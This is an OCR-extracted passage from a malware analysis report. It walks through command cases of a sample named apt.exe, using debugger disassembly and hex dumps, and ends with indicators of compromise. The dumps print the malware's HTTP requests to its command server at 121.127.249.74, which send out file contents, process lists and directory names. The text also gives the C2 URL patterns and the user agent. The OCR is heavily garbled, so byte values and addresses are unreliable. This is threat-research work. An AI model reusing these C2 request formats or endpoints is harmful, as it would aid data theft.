O3FEODBO |20 28 63 6F |gD 70 81 74|69 62 6C 65(3B 20 4D 53| (compatible; MS 04710098 | 047 1FFEO
O3FEODCO| 49 45 20 37|2E 30 3B 20|57 69 6E G4(6F 77 73 20|IE 7.0; Windows 0471003 [F67188A49
O3FEODDO | 4E 54 20 35|2E 31 2B 20|53 56 31 29(0D 0A 41 &3 |NT 5.1; 5V1)..AcC nz71ooa0 | 0a71ErC
O3FEODEQ| 63 &5 7O 74|3A 20 2A 2F|2A OD 0OA 41|63 63 65 70|cept: */*,. Accep nariooas || 67158694
O3FEODFO|74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 6E 2D 75 |t-Language: en-u na7io0as || 047 1FFS0
0O3FEQEQQ|73 0D 0A 43|6F GE 6E 65|63 74 69 6F|GE 3A 20 4B|s..Connection: K nariooac || 67188364
03FEQOE10| 65 65 70 2D |41 &C &9 76|65 0D OA 43 |6F GE 74 &5 |eep-Alive..Conte na7iooe0 || 67188364
O3FEQE20|GE 74 2D 54|79 70 65 3A|20 74 65 78|74 2F 68 74| nt-Type: text/ht n271o0064 || conooooo
03FEOE30| 6D &C 0D 0DA|43 6F 6E 74|65 GE 74 2D(4C 65 &E &7 |ml..Content-Leng 047100Es || o0000000
O3FEOE40 |74 &8 3A 20|37 37 OD DA|OD 0OA 3C 68|74 6D &C 2E|th: 77....<html= na71ooee | oooooono
O3FEQES0|3C 68 65 61|64 3IE 3C 74|69 74 BC 65(3E 52 65 73| <head»<titlexRes o47100c0 || oooon00o
03FEQEGD | 75 6C 74 3C I F4|(6C &5 3E 3C|2F 68 65 &l |ult</title=</hea sl | [t
0O3FEOE70| 64 3E OD 0A|3C 62 6F 64|79 3E 3C 68|34 3E CD 83 |d>..<body=<h4>1. 0471008 || D2FEORLG
0O3IFEOES80|CF 83 CF 83|3C 2F 68 34(3E 3C 2F 62 |6F 64 79 3E I.I.w:,-fh4::-:jbgdy:- []4-"J.DDCC 02FEOQACC
03FEOESC | 2C _2F 68 74|60 6C 2E O0|E4 BS 18 ©F |E4 BS 18 oF | </html=.0u.gou.g ¥ qazinnnn ll onononno
Figure 69

Case4-EAX=3

We have only observed a POST request performed by the malware (NOT (CC 83 CE 83 CF
83)=337C 317C 307C ="“3|1|0]"):
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i o 67186853 6A 00 push 0

T ®| 67186B85 BE 45 FC mav eax,dword ptr ss:|[lebp-4[

i) ®( 57136E83 E8 BF CB FF FF €all apt.6718374C

! 1 ®( 67186B8D o push eax

! | ®| 67186BBE BE 45 FC mov eax,dword ptr ss:[Jebp-4[

! ®( 57186E91 E8 B6 CD FF FF call apt.6718394C

1 ! ®| 67186B96 S0 push eax

Lt # | 67186B97 L& push esi
EE— > ES8 A3 DA FF FF €alll <apt.send>

Pl .

e
<apt.send>
CODE: 67186E98 apt.exe: §6B958 #5F98

@oump1  @Wipumpz @oump3  @oumps  @Woumps @ watchi  llocls 4 P5a7innTa uzFEuagg

i P ASCII » || 0471DD7 8| 00000146
O3FEODSO |8 4F 53 S4(20 2F 62 78|70 &9 &4 2F (72 75 &2 6D |POST /fcxpid/subm g:zigggg 047 1DDAD
O3FEODGCO| 69 74 2E 70|68 70O 3IF 53|65 73 73 69(6F 6E 49 44|it.phpTSessionID 04710054 | 67186BES
O3FEOD7O| 3D 32 32 20(48 54 54 50|2F 31 2E 30(0D 0OA 48 6&F|=22 HTTP/1.0..Ho 0471008E | 0471DD98
O3FEODSBC| 73 74 3A 20(31 32 31 2E|31 32 37 2E(32 34 39 2E|st: 121.127.249. 0471003C | 67 1LBE364
03FEOD90| 37 34 3A 34|34 33 0D 0A|55 73 65 72|20 41 67 65|74:443..User-Age 04710090 | 00000000
O3FEODAC | 6E 74 3A 20(4D 6F 7A 69|6C &C 61 2F (34 2E 30 20|nt: Mozilla/4.0 047100594 | 02FEODS0
O3FEODBO| 28 63 6F 6D (70 61 74 69|62 6C 65 3B(20 4D 53 49| (compatible; MSI 04710038 | 047 1LEF80
O3FEODCO | 45 20 37 2E(30 3B 20 57|69 6E 64 6F (77 73 20 4E|E 7.0; Windows N 047100% [F67188E14
O3FEODDC |54 20 35 2E(31 3B 20 53|56 31 29 0D |0A 41 63 63|T 5.1; SW1)..Acc 4710040 | 047 1FECC
O3FEODED|65 70 74 3A|20 2A 2F 2A(0D DA 41 63|63 65 70 74|ept: */*..Accept 04710DA4 || 67183894
03FEODFO| 2D 4C 61 6E|67 75 61 67|65 3A 20 65|6E 2D 75 73|-Language: en-us na71ooas | 047 1EEE0
O3FEQEOQQ| 0D 0A 43 6F(6E 6E 65 63|74 69 6F 6E|3A 20 4B 65 (..Connection: Ke nga7iooac || 67158364
O3FEOEL1D| 65 70 2D 41(6C 69 76 65 |0D OA 43 6F(BE 74 65 6E|ep-Alive..Conten 047100ED || 67188264
O3FEQOE20| 74 2D 54 79|70 65 2A 20|74 &5 78 74(2F 68 74 6D | t-Type: text/htm n471o0oe4 || conooooo
O3FEOQE30|6C 0D 0OA 43(6F GE 74 65 |6E 74 2D 4C (G5 _GE &7 74| 1..Content-Lengt na7iooes | oooooooo
D3FEOE40| 68 3A 20 37 (37 0D OA OD|QA 3C €8 F4(6D 6C 3E 3C|h: 77....<html>< U4-"J.DDEC 03EEQBLD
O3FEOES0O| 68 &5 61 64 (3E 3C 74 69|74 6C 65 2E(52 &5 73 75| head»<titlexResu na71ooc0 | 03EEQACC
O3FEQEGCD | 6C 74 3C 2F (74 69 74 6L |65 3E 3C 2F (68 65 61 64| l1t</title></head na7iooe 2 | oooooooo
O3FEQE7FO|3E 0D OA 3C (62 6F 64 79(3E 3C 68 34|3E CC 83 CE|>..<body><h4>I.1 na71ooe s || oooooooo
O3FEOES0| 83 CF 83 3C|2F 68 34 3E|3C 2F 62 6F|64 79 3E 3C|.I.</hd>c/body>< na71ooce || conooooo
D3FEQESC|2F 68 74 6D (6C 3E 00 00|E4 BS 18 67 (F4 BS 18 67| /html>..ou. gdu.g Y I na=7rrna ll nnnannan
Figure 70

Case 5-EAX =4

The server provides a file name to be opened by the malicious process

indicate that the attacker tries to exfilirate the content of targeted files:

. This action might

o) 67138844 64 00 push 0
e 67128846 68 80 00 0O OO push 80
e 57138848 GA 03 push 2
®|| 671E5884D &6A 00 push 0
e 6713884F 6A 01 push 1
L 68 00 00 0O BO push 80000000
] 8B 45 EO mov eax,dword ptr ss:[febp-20f
. E8 EE BO FF FF E&811 apt.&713394C
. S0 push eax C
>e E8 C4 BC FF FF €&11 <apt.CreateFileA> W
*l SRR ST | Default {
- 1: [es
<apt.CreatefrileA- 2: [as
3: [es
4: [es
CODE: 6718885F apt.exe: $885F #7CSF [
z 67183951 | "test.txt"
BWioump1  @oumpz  @Woump3  @oump4  @WHoumps @ wWatth1  Ix-llocals { B GETInEee o0 000000
Address | Hex ASCIT A g:;ﬁggg 00000001
67183951(74 65 73 74(2E 74 78 74|Q0. go D2 74|38 8B 4A F8|test.txtl..0ts.Jo 04710094 gggggggg
67183961 (49 74 32 53|89 C2 8B 42|FC EB 1D FD|FF FF 89 C2z|It2s.A.Bhe.yyv.A 04710098 | 00000080
67183971 8B 03 89 13|50 8B 48 FC|ES S5E EC FF|FF 58 8B 48|....P.HIBMIyyX.H
cra0z2a01 lce aa 7 nolen cc o ae coelsc no on anlce co 7o colaTt! Aduan ghnﬁ 0471DD3SC | 00000000
Figure 71

A POST request is performed by the file, the user agent is the same as in every network

communication:
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i ] &6A 0O push 0
:: L] BB 45 FC mov eax,dword ptr ss:[lebp-4l
18 ] EB BF CB FF FF €311 apt.6&718374C
I L] 50 push eax
:: ] 8B 45 FC mov eax,dword ptr ss:[Bebp-48
i ] EB B& CD FF FF €311 apt.&718394C
Pl o 50 push eax
:: ] 56 push esi -
F—— E8 A3 DA FF FF call <apt.send> v =
: : ™ .- e A g [
e = B
<apt.send> :
CODE: 67186B98 apt.exe: $§6B98 #5F98
N 0471 ) 0000190
@Woump1 | @pumpz | @lDump3  @WDump4  @ioumps @ watchi | (x=llocals 4 Ploeranora| 03EEac4 | “roST
address | Hex ASCII ~ gz;gg;g 00000123
O3FEOC74 B0 4F 53 54(20 68 74 74|70 3IA 2F 2F (31 32 31 2E|POST http://121. D47 10050 gg;iggig e
O3FEOC84(31 32 37 2E(32 34 39 2E|37 34 3A 3434 33 2F 73|127.249.74:443/s 0471DD84 | 67 186REE | apt. &
O3FEOC94 |65 GE 64 2E|70 &8 70 3F|69 64 3D 34(36 20 48 54| end.php?id=46 HT D47 1DDEE | 04710098 Bk
O3FEOCA4 (54 50 2F 31(2E 30 OD 0A|41 63 &3 65|70 74 3A 20| TP/1.0..Accept: D471DDEC | 67188364 | apt. 6
O3FEOCB4 | 2A 2F 2A OD|0A 41 63 63|65 70 74 2D|4C 61 6E &7 |*/*.. Accept-Lang 04710090 | 00000244 Pz
O3FEOCC4 (75 61 67 65 |3A 20 65 GE|2D 75 73 OD|0A 48 6F 73 |uage: en-us..Hos D471DD34 | 02FEDCT4 | "POST
O3FEOCD4 (74 3A 20 31|32 31 2E 31|32 37 2E 32|34 39 2E 37|t: 121.127.249.7 04710095 | 047 1FF 80
O3FEOCE4 (34 3A 34 34|33 0D OA 50|72 61 67 6D |61 3A 20 GE|4:443..Pragma: n 0471003 F67188885 | retur
O3FEOCF4(6F 2D 63 61|63 68 65 0OD|0A 55 73 65|72 2D 41 &7 |o-cache..User-Ag 04710DA0 || 047 1EFCC| Point
O3FEODO4 (65 6E 74 34|20 4D 6F FA|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/4.0 047 1DDA4 || 67122894 aEt e
O3FEOD14 (20 28 63 6F|(GD 70 €1 74|69 62 6C 65(3B 20 4D 53| (compatible; MS nariooes | 047 1FFE0
O3FEOD24( 49 45 20 36|2E 30 3B 20|57 69 6E 64(6F 77 73 20| IE 6.0; Windows na71iooac | 67188364 apt.6
O3FEOD34(4E 54 20 35|2E 31 3B 20|53 56 31 29(0D OA 43 6F|NT 5.1; SW1)..Co D47 1DDB0 || 67188364 aptls
O3FEOD44(6E 74 65 6E|74 2D 4C 65|6E 67 74 G68(3A 20 34 0D|ntent-Length: 4. 047 1DDE4 || 00000000
O3FEODS4 (DA 43 6F 6E|74 65 GE 74|2D 54 79 70(65 3A 20 61|.Content-Type: a na71ooes | ooooooon
O3FEODG4 (70 70 6C 69|63 61 74 69|6F 6E 2F 6F|§3 74 €5 74|pplication/octet na71ooec | oooooooa
O3FEOD74(2D 73 74 72|65 61 6D 0OD|0A 43 6F G6E|GE G5 €3 74|-stream..Connect 047 10DCo || 00000000
O3FEODB4| 63 6F GE 3A |20 4B 65 65|70 20 41 6C|63 76 65 0D|ion: Keep-Alive. na71ooe 4 | oooo0oaa
O3FEOD94 | 0A OD OA 00|F4 BS 18 €7|F4 BS 18 §7(64 32 00 00| ....0u.gou.gd2.. Rl e e e s
Figure 72
The process reads the content of the specified file by using a ReadFile function call:
e|| 571888FF 6A 00 push o
#| 671588301 8D 45 EC lea eax,dword ptr ss:|[Jebp-14]
®| 67155904 50 push eax
@ || 67188905 &8 00 10 00 00 push 1000
®| 67158304 8D 85 C8 DF FF FF lea eax,dword ptr ss:|[ebp-z035]
#|| c71 S0 push eax
®|| 671 53 push ebx
EIP o E8 81 BC FF FF call <apt.ReadFile=
& nm rnonaa N T
<apt.ReadFile>
CODE: 67188912 apt.exe:$8912 #7D12
5 00000244
ﬂi'lﬂ DU”"F' 1 Hit' DUITIFl 2 Hitl DUITIFl 3 Hitl DUITIFl 4 Hitl DUITIFl 5 @ Watch 1 |x=] Locals ‘ ‘E} 0471DD90 | 047 1DF48
address | ex ascar N
0471DF48 |00 00 00 I:II:I|IZIIZI oo 00 IZID|IIII:I 00 00 OO|D0 OO0 OO0 OD| . -:ccceeeennnns 0471009C | 00000000
0471DF58| 00 00 0O OO|00 OO OO QO[O0 OO OO OO(D0 OO0 OO0 OD| @ .ccveeeeennnnnns ey P
Figure 73
The content of the targeted file is exfiltrated to the CnC server using the send function:
o @ || 6718892C 6A 00 push 0
o ®| 6718892E 8B 45 EC mov eax,dword ptr ss:[lebp-14§
! ®( 67188931 50 push eax
i ®| 67188932 8D 85 C8 DF FF FF lea eax,dword ptr ss:|[febp-203sj
: ! #|| 671389358 50 push eax
LT #®| 67188939 Al EO AD 18 &7 mov eax,dword ptr ds:[6718A0DED]
o g ®| 6718893E 8B 0O mov eax,dword ptr ds:[eax]
0 ®| 67188940 50 push eax I
JE TP g e 1 E8 FA BC FF FF €all <apt.send- W |[—
: | . AR Ar A mnre chmed ete s Babhe A o Def
! » e
4 1:
<apt.send> .
3:
4:
CODE: 67188941 apt.exe:$8941 #7041
: 00000190
ﬂi'lil Dump 1 llitl Dump 2 w Dump 3 ﬂi'u Dump 4 w Dump 5 @ Watch 1 lx=] Locals | E} 0471DD94 | 0471DF 48 | "TEST"
NBERE N [Ei S [ 0471DD5C | DDO0ODOD
0471DF48 |54 45 53 54|00 00 00 0O|D0 0O 00 OO|00 OO0 OO OO|MEST.....vuuun.- | e e i ey e e e
Figure 74

Case 6 —EAX =5
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We believe that this command is responsible for downloading other malware payloads.
There is only a GET request to the same C2 server:

i | 67156853 64 00 push 0

T #| 67186885 BB 45 FC mov eax,dword ptr ss:|[lebp-4]

: i ®|| 67186BE8 E8 BF CB FF FF Call apt.6&718374C

i | 67186B8D 50 push eax

! 1 ®| 67186B8E BB 45 FC mav eax,dword ptr ss:[Jebp-4]

fied ®| 67186B91 E8 B6 CD FF FF call apt.6718394C

g | 67186B96 50 push eax

fat ®| 67186897 56 push esi
||§|:ﬂ—:—i—>- ES A3 DA FF FF €all <apt.send>

P M e = P

i %
<apt.send>
CODE: 671868958 apt.exe:$6B93 #5F938

Hit' E'LJI'I'II:I 1 ﬂi@ DLJITIFI 2 Hit' DLJITIFI 3 Hit' DLJI'HFI 4 Hli'lil DUITIFI 5 @ Watch 1 [x=] Lid’s 0471007 4 OEFEﬂ(]:-gCo SCET

Address | Hex ASCII ~ g:;gg;g CGo00000ES
O3FEOCOC 48 45 54 20|68 74 74 70(3A 2F 2F 31(32 31 2E 31|GET http: //121.1 04710080 | 0471DDAO | Point
03FEOCIC | 32 37 2E 32|34 39 2E 37 (34 3A 34 34(33 2F 71 75|27.249.74.443/0U U4TlDDS4 G67186BE8 aﬁt c
O3FEOC2C |65 72 79 2E|70 68 70 3F|69 64 3D 332(37 39 20 48| ery.php?id=379 H 04710088 | 047 10D98 -
0O3FEOC3C |54 54 50 2F|31 2E 30 0OD|0A 41 63 63|65 70O 74 3A|TTP/1.0..Accept: D471DDEC | 67188364 | apt. ¢
D3IFEOC4C | 20 2A 2F 2A|0D 0A 41 63(63 65 70 74|2D 4C 61 6E| */*..AcCcept-Lan 04710050 | 00000000
O3FEOCSC |67 75 61 67|65 3A 20 G5 |6E 2D 75 73|0D 0A 48 6F|guage: en-us..Ho 04710094 | 03FEOCOC | "GET
O3FEOCGC |73 74 3A 20|31 32 31 Z2E|31 32 37 2E|32 34 39 2E|s5t: 121.127.249. 04710098 | 047 1EE80
D3IFEOC7C| 37 34 3A 34|34 33 0D DA(50 72 61 &7 |6D 61 3A 20| 74:443..Pragma: 0471009C P67 188840 | retur
O3FEOCSC |6E &F 2D 63|61 63 63 65 (0D OA 55 73|65 72 2D 41| no-cache..User-A n471poa0 [l oa71rFce| Point
D3FEOCOC |67 65 6E 74|3A 20 4D 6F|7A 69 6C 6C(61 2F 34 ZE|(gent: Mozilla/4. U4;1DD:4 G7188E0A aﬁt £
D3FEOCAC |30 20 28 63|6F 6D 70 61|74 69 62 B6C|(65 3B 20 4D|0 (compatible; M U4;1DD:5 D47 1FF80
O3FEOCBC |53 49 45 20|36 2E 30 3B|20 57 69 GE(64 6F 77 73| SIE 6.0; Windows U4;1DD:C 67188364 apt. €
03FEOCCC | 20 4E 54 20|35 2E 31 3B|20 53 56 31(23 0D 0A 43| NT 5.1; Sv1])..C U4%1DDEU 67188364 apt-E
O3FEOCDC | 6F 6E 6E 65|63 74 69 GF|6E 3A 20 4B|65 &5 70 2D unqect1un: ngp— 4710084 || oooooooo h
D3FEOCEC | 41 &C 69 76|65 OD 0A OD|OA OO0 OO OO|E4 BS 18 &7 [Alive....... ou.q el | |l e
Figure 75

Case7-EAX=6

The CreateToolhelp32Snapshot APl is utilized to take a snapshot of the processes, the first
parameter being 0x2 (TH32CS_SNAPPROCESS - all processes in the system):

FF 15 A4 Be& 18 &7

push esi
push ebx
call dword ptr ds:[<&CreateToolhelp32snapshot=]

CODE: 67187079 apt.exe:$7079 #6479

4 Dump 1

Figure 76

Process32Next functions:

4% Dump 2

% Dump 3

B4 Dump 4

4 Dump 5

dword ptr [6718BE6A4 <apt.&CreateToolhelp3zsnapshot>]=<kernel32.CreateToolhelp3zsnapshot>

; 00000002
@ watch1  I-lLocals 4 PFGS710C34 | 00000000

All running processes on the system are retrieved by using the Process32First and
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E—

R

I

1

1
b

r
1
I
I
I
I
I
I

67187097
67187098
67187099
671B709F
67187 0A0
671870A1
671870A2
671870A4
671870AS
67 1B70AG
67187 0AT
671870A8
67187049
67187044
671870AC
671870AE
671870B3

671870B5 v

67 1870B7
671870B8

L4

56
53
FE
5E
58
c3
33
SE
5E
c3
90
53
56
88
88
ES
84
74
56
53
FE

15 BC E6 18 &7

co

F2
Da
39 FD FF FF
co
]

15 CO BB 18 &7

push esi

push ebx

E&all dword ptr ds:[<&Process32First=]
pop esi

pop ebx

FEE

xOr
pop
pop
ret
nop
push ebx

push esi

mov esi,edx

mov ebx,eax

call apt.67186DEC

Test al,al

je apt.671870C2

push esi

push ebx

call dword ptr ds:[<&Process3zNext>]

eax, eax
esi
ebx

dword ptr [671BBGCD <apt.&Process32Nexts>]=<kernel32.Process32Next>

CODE:671870B2 apt.exe:$70B9 #64B2

; 00000244
Wioump1  @Yoump2  @Woump3  Bhoump4  @Youmps @ watchi  Ix-llocals 4 W[G471Dc34 | nariDces
Address | Hex ASCII 0471DC358| 671858364
0471DC3C | 00000244

D471DC64 |28 01 00 00|00 00 00 OO|DD 00 00 DO[0D 00 00 OD|Meeeeeensereesss

0471DC40| 67F187EZ9

0471DC74| 00 00 OO0 OD|0L 00 00 00|00 OO0 00 00[00 00 00 00| .vvvrrrrerrennns -
0471DC84|00 00 00 OO|5B 53 79 73|74 65 6D 20(50 72 &F 63|....[System Proc ﬂj;iggjg g;;;??ig
04710DC94| 65 73 73 50|00 00 00 00|00 OO0 OO0 00|00 00 00 00|ess]............ el il

Figure 77

The list of processes is exfiltrated to the CnC server. By decoding the encoded information,
we can observe the following string in the beginning “6|1|System Idle
Process|0|System|4|smss.exe|500|csrss.exe|604|” (note the process name and the process
ID in the buffer):
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i ¢| 67156B83 6A 00 push 0
! #®| 67186BSE5 BB 45 FC mov eax,dword ptr ss:[lebp-41
i ®( 5712cE28 EEZ BF CB FF FF E&TT apt.&718274C
] e 67186E8D 50 push eax
i #( 67186BEE 8B 45 FC mov eax,dword ptr ss:[[ebp-4]1
! #| 671E86E9L EE8 BE CD FF FF €311 apt.&718394C
! ®| 67186B96 50 push eax
! ®| 67186B97 56 push esi
Iﬂi—!—)i EB A3 DA FF FF €all<apt. send>
: L ]
<apt.send:-
CODE: 67186B98 apt.exe: $6B98 #5F98
; [EEEETIEY 00000190 |
@Woump1  Woumpz @oump3  @Woumps  @Woumps  ®watchi | belleas 4 Wloarincic| o3FEzaze
Address | Hex ASCII o [ IEIDEAE | O

047 1DC20 | 00000000
0471DCZ24 | 0471DC44
0471DC28| 67 1B6EBB8
047 1DC2C | 047 1DC3C
0471DC30 | 67188364
0471DC34 | 00000244
0471DC38| 03FEZ2838
0471DC3C | 04710D98
0471DC40 [[67187E7D
0471DC 44 || 047 1DDAD
0471DC48 || 67187FF12
0471DC4C | 047 1DD 98
047 1DC50 || 00000000
047 1DCS 4 | GOC00000

O3FE2838 (50 4F 53 54|20 2F 63 78|70 69 64 2F |73 75 62 6D |POST Jcxpid/subm
0O3FE2848( 69 74 2E 70|68 7D 3F 53|65 73 73 692|6F 6E 49 44|1it.phpTsessionID
03FEZ2858| 3D 31 37 34|20 48 54 54|50 2F 31 2E|30 0D 0OA 48|=174 HTTP/1.0..H
02ZFE2BE8|6F 72 74 3A|20 321 32 31|2E 31 32 37 |2E 32 34 39| 0s5T: 121.127.249
03FEZ2878| 2E 37 34 3A|34 34 33 0D|0A 55 73 65|72 2D 41 67| .74:443..User-Ag
O3FE2888(65 6E 74 3A|20 4D 6F 7A|69 6C 6C 61|2F 34 2E 30|ent: Mozillas4.0
OZFE2898(20 28 63 6F|GD 70 €1 74|69 62 6C 65 |2B 20 4D 53| (compatible; MS
O3FE28A8( 42 45 20 37 |2E 30 3B 20|57 62 6E 64|6F 77 73 20|IE 7.0; windows

0O3FE28B8( 4E 54 20 35|2E 31 3B 20|53 56 31 22|00 0A 41 63 |NT 5.1; SW1)..AC
0O3FEZ2BC8| 63 65 7O 74|3A 20 2A 2F|2A 0D OA 41|63 &3 &5 70| Cept: */*..ACCep
02FEZ2BD8| 74 2D 4C €1|6E &7 75 61|67 &5 3A 20|65 &E 2D 75 |t-Language: en-u
O3FEZBES(73 0D 0A 43|6F 6E 6E 65|63 74 62 6F|6E 3A 20 4B|s..Connection: K
O3FE28F8(65 65 70 2D |41 6C 69 76|65 0D DA 43|6F 6E 74 65 |eep-Alive..Conte

DIFE2908|6E 74 2D 54|79 70 65 3A(20 74 65 78|74 2F g8 74|nt-Type: text/ht L :

DIFEZ918| 60 6C OD OA|43 6F 6E 74|65 6E 74 2D|4C 65 GE &7 |ml..Content-Leng Ej_tgggg ggEEf;gg
D3FE2928|74 68 3A 20|31 33 31 36|0D 0A 0D DA[3C 68 74 eD|Th: 1316....<htm apibentind leine s
D3FE2938| 6C 3E 3C 68|65 61 64 3E|3C 74 69 74|6C 65 3E 52| I>chead»<titlesk Seeb s

0471DCE4 | 00000128
0471DCEE | 00000000
047 1DCeC || COCO0EBD

O3FE2948(65 73 75 6C|74 3C 2F 74|69 74 6C 65|3E 3C 2F 68| esult</titlex</h
03FE2958(65 61 64 3E|OD 0A 3C 62 |6F 64 72 3E|3C 68 34 3E|ead=..<body><h4>

D3FE2968|C9 83 CE 83(AC 86 5C 8B|9A 92 DF B6|9B 93 9A DF|E.I.-..... EY...R e
03FE2978|AF 8D 90 9C|9A 8C 8C 83|CF 83 AC 86(|8C 8B 9A 92| ....... - A Sl e
D3FEZ988| 83 CB 83 8C|92 8C B8C D1|9A 87 9A 83 |CA CF CF 83|.E..... f....EII. bt b % || b
D3FE2998|9C 8C 8D 8C|8C D1 9A 87|9A 83 C9 CF(CB 83 88 96|..... REE R ESE T i i e | bosoatTa
O3FE29A8| 91 96 91 96|8B D1 9A 87|9A 83 C9 CB|CD 83 9C 8C|..... M. EER n471nc 50 || oooo000s
O3FE2988|8D 8C 8C D1|9A 87 9A 83|C9 C7 CB 83|88 96 91 93|...N,...ECE..... o ||t e
Figure 78

Case 8 —EAX =7

The GetFileAttributesA API is used to retrieve file system attributes for the current directory,
as shown in figure 79:

50
EB 7D F3 FF FF

push eax I* :
call <apt.GetFileAttributesA> W = -
Tt T Default (stdcall)

1: [esp] O3FEOACS "C:\\

<dapt.GetFileAttributesa> esp+4] 67188364 apt

2:
3: [esp+8] 00000001
4: [esp+C] 67188043 apt

CODE:671851E6 apt.exe: $51E6 #45E6 ——— =
B P 4 Gl e e Gl e s [T T [ R fetoo—i- ﬂ}m OZFEQACE | "Cih\Users' )\ \Desktop\\"

Figure 79
The current directory name is sent to the CnC server in the following form “7|1|Directory
name|”:
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b o| 67186883 64 00 push 0
Lty #| 67186B8S5 BB 45 FC mov eax,dword ptr ss:|[Jebp-4]
L e 57186B88 ES BF CB FF FF €all apt.6718374C
! 1 ] B8D 50 push sax
! ! L] BBE BB 45 FC mov eax,dword ptr ss:|[Jebp-4]
P! e 57186891 ES B6 CD FF FF €all apt.6718394C
P! e 67186B96 50 push eax
L ®| 67186837 56 push esi
EIP g ES8 A3 DA FF FF galll<apt. send>
! 1 ®| 671536B90 48 dec eax
1 : r=——-§ B
g ke e i
<apt.send=
CODE:67186B98 aptr.exe:$6B98 #5F98
; [EEEETEERY 00000190 |
Bhoumpi  @pumpz @Wpump3  @Wpumps  @Woumps @ watch1  x=llocals 4 W 04710038 quggégg
Address | Hex ASCII A g:;ﬂgig T
0O3FEODBC |50 4F 53 54|20 2F 63 78|70 62 64 2ZF |73 75 62 6D |POST /cxpid/subm 04710044 gigigggi
03FEODCC |69 74 2E 70|68 70 3F 53|65 73 73 63 |6F G6E 49 44|it.phpTsessionID 04710045 | 67 1BEBBS
0O3FEODDC | 3D 31 33 30|20 48 54 54|50 2F 31 2E|20 0D 0A 48|=130 HTTP/L.0..H 047100 AC | 0471DD5C
0O3FEODEC |6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39|ost: 121.127.249 04710050 | 67183264
D3FEODFC|2E 37 34 3A(34 34 33 0OD|0A 55 73 65|72 2D 41 67(.74:443..User-Ag 047 1DD5 4| 00000000
0O3FEOEOC |65 GE 74 3A|20 4D 6F 7A|69 6C 6C 61|2F 24 2E 30|ent: Mozilla/ 4.0 0471005 & | 03FEODBC
0O3FEOELC |20 28 63 6F gD 7D €1 74|69 62 6C 65 |3B 20 4D 53| (compatible; MsS 0471DDEC | 047 1DD9E
O3FEDE2C |49 45 20 37|2E 30 3B 20|57 69 6E 64 |6F 77 73 20|IE 7.0; Windows el el
O3FEOE3C |4E 54 20 35|2E 31 3B 20|53 56 31 29|0D 0A 41 63 |NT 5.1; SVl1)..AcC 04710064 | 0471DDAD
O3FEOE4C |63 65 70 74|3A 20 2A 2F|2A 0D 0OA 41|63 63 65 70|cCept: */*,,Accep n471006s | 67138198
O3FEQESC |74 2D 4C 61|6E 67 75 61(67 65 3A 20|65 6E 2D 75| tT-Language: en-u le-_iDD":TC 04710098
D3FEOEGC |73 OD OA 43|6F 6E GE 65|62 74 69 GF|&E 3A 20 4B|s..Connection: K 0271070 | ooooooon
0O3FEOE7FC |65 65 70 20|41 6C 69 76|65 0D 0A 43|6F 6E 74 65 |eep-Alive..Conte ns710074 | oocoooon
D3FEOESC |6E 74 2D 54|79 70 65 3A(20 74 65 78|74 2F 68 74| nt-Type: text/ht fl;-l_iDD_g 03ZFEDBETS
0O3FEOESC |60 6C 0D 0A|42 6F G6E 74|65 6E 74 2D |4C &5 6E &7 |ml..Content-Leng n471oo7c || ooooooon
O3FEOEAC |74 68 3A 20|39 36 0D 0A|OD 0OA 3C 68|74 6D 6C 3E|th: 96....<html> ns71o030 | 0zEEDR2O
D3FEOEBC |3C 68 65 61|64 3E 3C 74(69 74 6C B5|3E 52 65 73| <headr<titlexRes 64._J.DDS;1- D3FEDAEC
0O3FEQECC |75 6C 74 3C|ZE T 74|6C 65 3E 3C|2F 68 65 61| ult</titlex</hea na71ooss | a3EEDARC
O3FEOQEDC |64 3E OD OA|3C 62 6F 64|79 3E 3C 68|34 3E C8 B83|d>..<body><h4>E. 0471005¢C || 03FEODRE
DIFEQEEC [CE 83 BC C5|A3 AA BC 9A|8D 8C A3 AD|BA B2 A3 BB|I.wAs2.,..£.°%% splim i | feE Shainl
0O3FEOEFC |[9A 8C 94 BB|90 8F 83 3C|2F 68 34 3E|3C 2F 62 6F | cvuuans </ha=</ba n471ooa: || oooooooo
O3FEOFOC |64 79 3E 3C|2F 68 74 6D|6C 3E 00 00|E4 BS 18 67 |dy=</html>..06u.0 b s innng Laasa EERD
Figure 80
If EAX > 7, the process performs a few recv function calls and jumps back to the switch
instruction.
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C2 IP address: 121.127.249.74

39/40


https://github.com/Rackedydig/string_decode_algorithm_apt16
https://www.fireeye.com/current-threats/apt-groups.html
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://docs.microsoft.com/en-us/windows/win32/api/
https://github.com/fireeye/flare-fakenet-ng
https://www.virustotal.com/gui/file/bed00a7b59ef2bd703098da6d523a498c8fda05dce931f028e8f16ff434dc89e/detection

SHA256:
BEDOOA7B59EF2BD703098DA6D523A498C8FDAOSDCE931F028E8F16FF434DC89E

SHA256:
44DD6A777F50E22EC295FEAE2DDEFFFF1849F8307F50DA4435584200A2BAGAF0

URLs: https[:]//121.127.249.74/cxpid/submit.php?SessionID=<decimal number>
https[:1//121.127.249.74/send.php?id=<decimal number>
https[:1//121.127.249.74/query.php?id=<decimal number>

https[:1//121.127.249.74/cxgid/<Hosthame>/<IP address in decimal>/<IP address in
decimal>0/index.php

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
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